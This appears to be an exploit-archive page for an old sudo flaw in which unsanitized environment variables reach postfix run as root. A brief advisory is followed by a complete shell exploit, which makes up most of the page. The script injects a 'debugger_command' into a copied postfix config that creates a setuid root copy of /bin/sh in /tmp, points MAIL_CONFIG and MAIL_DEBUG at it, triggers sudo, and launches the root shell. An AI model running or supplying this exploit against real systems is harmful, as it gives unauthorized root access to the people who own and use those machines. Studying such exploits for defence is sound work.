43 lines
No EOL
1.4 KiB
Bash
Executable file
43 lines
No EOL
1.4 KiB
Bash
Executable file
source: https://www.securityfocus.com/bid/3871/info
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Sudo is a freely available, open source permissions management software package available for the Linux and Unix operating systems. It is maintained by Todd C. Miller.
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Under some circumstances, sudo does not properly sanitize the environment it executes programs with. In the event that sudo is used to run a program such as an MTA with root privileges, this could result in a local user passing unsafe data to the program via environment variables. From these environment variables the user may be able to execute commands as root, and potentially gain elevated privileges.
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#!/bin/sh
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#
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# root shell exploit for postfix + sudo
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# tested on debian powerpc unstable
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#
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# by Charles 'core' Stevenson <core@bokeoa.com>
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# Put your password here if you're not in the sudoers file
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PASSWORD=wdnownz
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echo -e "sudo exploit by core <core@bokeoa.com>\n"
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echo "Setting up postfix config directory..."
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/bin/cp -r /etc/postfix /tmp
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echo "Adding malicious debugger command..."
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echo "debugger_command = /bin/cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh">>/tmp/postfix/main.cf
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echo "Setting up environment..."
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export MAIL_CONFIG=/tmp/postfix
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export MAIL_DEBUG=
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sleep 2
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echo "Trying to exploit..."
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echo -e "$PASSWORD\n"|/usr/bin/sudo su -
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sleep 2
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echo "We should have a root shell let's check..."
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ls -l /tmp/sh
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echo "Cleaning up..."
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rm -rf /tmp/postfix
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echo "Attempting to run root shell..."
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/tmp/sh |